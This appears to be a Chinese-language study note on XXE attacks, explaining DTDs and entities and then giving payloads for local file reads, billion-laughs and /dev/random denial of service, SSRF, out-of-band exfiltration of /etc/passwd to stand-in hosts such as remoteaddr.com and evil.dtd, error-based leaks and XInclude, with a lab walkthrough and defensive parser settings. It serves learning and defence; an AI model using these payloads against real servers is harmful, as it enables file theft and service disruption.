0%

xxe问题

今天学习一下xxe相关的内容。

0x00 基础知识

xml

XML 指可扩展标记语言(eXtensible Markup Language, XML), 单单从其代码格式上来说,与 HTML 非常相似. 但是 XML 与 HTML 有很大的差异,主要在于:

  1. HTML 被设计用来显示数据,其焦点是数据的外观。XML 被设计用来传输和存储数据,其焦点是数据的内容.
  2. XML 大小写敏感,HTML 不敏感.
  3. XML 不允许任何错误,HTML 可以容忍小错误. 总体上来说,XML 语法更严格.
  4. XML 可以自定义标签,HTML 标签预定义.
  5. XML 可以动态处理,HTML 是静态的.
xml实体和dtd

HTML 有许多预定义的实体,例如 : < 代表 <, " 代表 " 等等.

XML 的灵活性更强,允许用户定义实体. DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD的声明:指XML文档中声明该文档的DTD或DTD来源的部分,可以包含在使用它的XML文档内部,也可以以独立的DTD文档(*.dtd)文档存在.

所以DTD一般认为有两种调用或声明方式:

  1. 内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中.
  2. 外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中.

网上有提到的调用公共DTD其实也算外部调用DTD的一种.

一般内部 DTD 定义格式如下:

1
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

然后就可以使用 &myentity; 来使用它.

XML 外部实体 (XML External Entity) 是一种自定义实体,而其定义在某个外部文件中. 定义 XML 外部实体要用到 SYSTEM 关键字,并且指定一个其对应的 URL 地址以供加载. 例如:

1
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

这里的 URL 也可以用 file:// 协议来访问本地文件:

1
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

XXE 就是利用 DTD 进行外部文件访问。

图:不同平台支持的协议不同平台支持的协议

这里不仅仅可以利用 file://, 还可以利用注入 php://input 之类的伪协议。

ps.一个文档的示例:

1
2
3
4
5
6
7
8
9
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->
<foo>&xxe;</foo>
something important

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)。

1.通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

示例代码:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

2.参数实体:

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

示例代码:

1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

抛转:

参数实体在我们 Blind XXE 中起到了至关重要的作用。

0x01 漏洞利用

文件访问

借助这个漏洞可以实现本地敏感文件访问。

DOS攻击

第一种 DOS 攻击

ps. 严格地说,这一种攻击只能算内部XML 实体攻击,不算 XXE (外部实体攻击).

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz >

很显然,每个 loln+1 都包含相同个数的 loln,对应的字符串指数级的增长. 以上例,一旦使用 &lol9;,就会占用 3GB 左右的内存,导致服务器内存超出而崩溃。

第二种 DOS 攻击

这种攻击主要针对 Unix/类Unix 服务器. 如果 XML 解析器尝试使用 /dev/random 文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

SSRF

服务器端请求伪造 (Server-side request forgery, SSRF) 是只攻击者利用漏洞使得服务器端的应用连接到攻击者设定的地址.

一般地,攻击者会让被攻击的服务器访问自身,或者与服务器位于同一防火墙内的服务器,或外部第三方服务器.

成功的服务器端请求伪造通常会导致攻击者访问(同一机构或自身)敏感数据或敏感应用,某些情况下,还可能导致任意指令执行.

1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.xxx.com/"> ]>

Blind XXE

很多情况下,XXE 攻击是不带回显的,因此不能直接访问服务器端文件,这使得 XXE 攻击难度增大.

一般有三种方法实现 Blind XXE:

  1. out-of-band (OAST), 用外部服务器来接收返回内容.
  2. 故意构造 XML 错误,从 XML Parser 的错误信息中获取敏感信息.
  3. 一个变种:重利用本地 DTD 文件.

Out-Of-Band 攻击

1.判断是否 XXE 攻击成功

1
<!DOCTYPE foo [ <!ENTITY oob SYSTEM "http://remoteaddr.com"> ]>

攻击者可以监视 HTTP 请求和 DNS 请求来判断 XXE 攻击是否成功.
一般的 XML 自定义实体只能在文档中调用后才能起效,如果攻击者不能调用自定义实体,或者没有回显,普通的实体攻击就失效了. 这个时候,就要使用 XML 参数实体了.
XML 参数实体是一种特殊的 XML 实体,它只能DTD 内被调用. 对于 XML 参数,有两点必须注意:

  • 定义参数实体时%要在实体名前:
1
<!ENTITY % myparameterentity "my parameter entity value" >
  • 用参数实体时也必须要带%:
1
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://remoteaddr.com"> %xxe; ]>

2.利用 Out-Of-Band 获取文件

一个利用的 Out-Of-Band XXE 攻击读取 /etc/passwd 的 DTD 例子:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://remoteaddr.com/?x=%file;'>">
%eval;
%exfiltrate;

这个例子中 DTD 做了这几件事:

  • 定义参数实例 file, 其内容为 /etc/passwd 的内容.
  • 定义参数实例eval, 它包含了一个动态的 XML 参数实例定义exfiltrate,这个exfiltrate会向攻击者的服务器发送包含 file (/etc/passwd) 内容的 HTTP 请求.
  • 调用 %eval 使得 exfiltrate 被动态地定义.
  • 调用 %exfiltrate 使得服务器发送相关内容.

以上的 DTD 必须保存在攻击者的服务器上以供被攻击服务器访问. 这里,我们假设其地址为 http://remoteaddr.com/malicious.dtd.

此时,攻击者可以向服务器提交恶意代码:

1
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://remoteaddr.com/malicious.dtd"> %xxe;]>

这个 Payload 定义了一个参数实体 xxe,并且使得 XML Parser 获取远程的恶意 DTD,并动态执行,最后发送 /etc/passwd.

ps1. 如果 XML Parser 对外部实体的具体内容进行过滤,Out-Of-Band 攻击可能不一定奏效,因为一些文件里的特殊符号会触发过滤机制. 这个时候就最好使用 FTP 协议. 另外,如果文件包含换行符则不能被读取.

ps2. 参考文献提示可以在 DTD 中用 ` 包裹来防止 XML Parser 解析:

1
2
3
4
5
6
7
8
9
10
11
<!--服务端-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<!--all 在远程-->
<roottag>&all;</roottag>
1
2
3
<!-- eval.dtd -->
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

错误信息型攻击

如果攻击者可以看见 XML Parser 返回的错误信息,则可以使用这种方法.

外部 DTD Payload:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

这个 Payload 与之前的 out-of-band 不同之处在于 eval 中的 error. 调用 %error 会使得 XML Parser 访问一个不存在的地址,从而引发错误,而这个错误文件的地址里包含了敏感信息.

0x02 寻找注入点

XInclude

有的时候,客户端向服务端提交数据,并嵌入到服务端的 XML 文档中,整合后再读取分析, 比如简单对象访问协议 (SOAP).

这种情况下,你不能直接修改 DOCTYPE 元素,经典的 XXE 攻击无法执行. 这时则需要 XInclude 攻击.

XInclude 属于 XML 的说明部分,允许 XML 文件包含其他文件,就像 php 里的 include(). XInclude 可以出现在 XML 任何地方,因此可以使用 XInclude 攻击。

实施一个 XInclude 攻击,你需要引用 XInclude 命名空间,并且指定你想要包含的文件地址:

1
2
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
文件上传型

一些常见的文件包含 XML 内容:.docx, .xlsx, .svg, ……

  • 在线查看 Microsoft Office 全家桶文档文件时,可以在其 XML 中植入 XXE 代码.
  • 一些图片处理应用可以接收 .svg (矢量图片),可以在其中插入恶意代码. 注意,哪怕应用不显式地接收 .svg 类型,但是其实现的处理库还是可能支持,可以尝试强制提交查看反应.
修改提交的 Content-Type

一般的 POST 请求使用的默认类型由 HTML 表单生成,比如 application/x-www-form-urlencoded. 有的网页对接收的类型要求不严格,允许用户提交其他类型的数据,包括 XML.

假如一个正常的 POST 请求如下:

1
2
3
4
5
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

尝试修改为:

1
2
3
4
5
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果服务端接受修改后的请求,那么这就是一个可能的注入点。

XXE-labs

php

登录抓包发现数据使用xml格式进行传输,尝试构造DTD:

1
2
<!DOCTYPE user [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<user><username>&file;</username><password>admin</password></user>

发现成功返回,说明存在xxe漏洞。

防御方法:

1
libxml_disable_entity_loader(true);

ps.现在 libxml 默认关闭外部实体.

python

payload同理,但是环境好像有点问题,提示list index out of range,……

防御方法:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

java

payload同理。防御方法:

1
2
3
4
5
6
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
factory.setFeature("http://xml.org/sax/features/external-general-entities",false)
factory.setFeature("http://xml.org/sax/features/external-parameter-entities",false);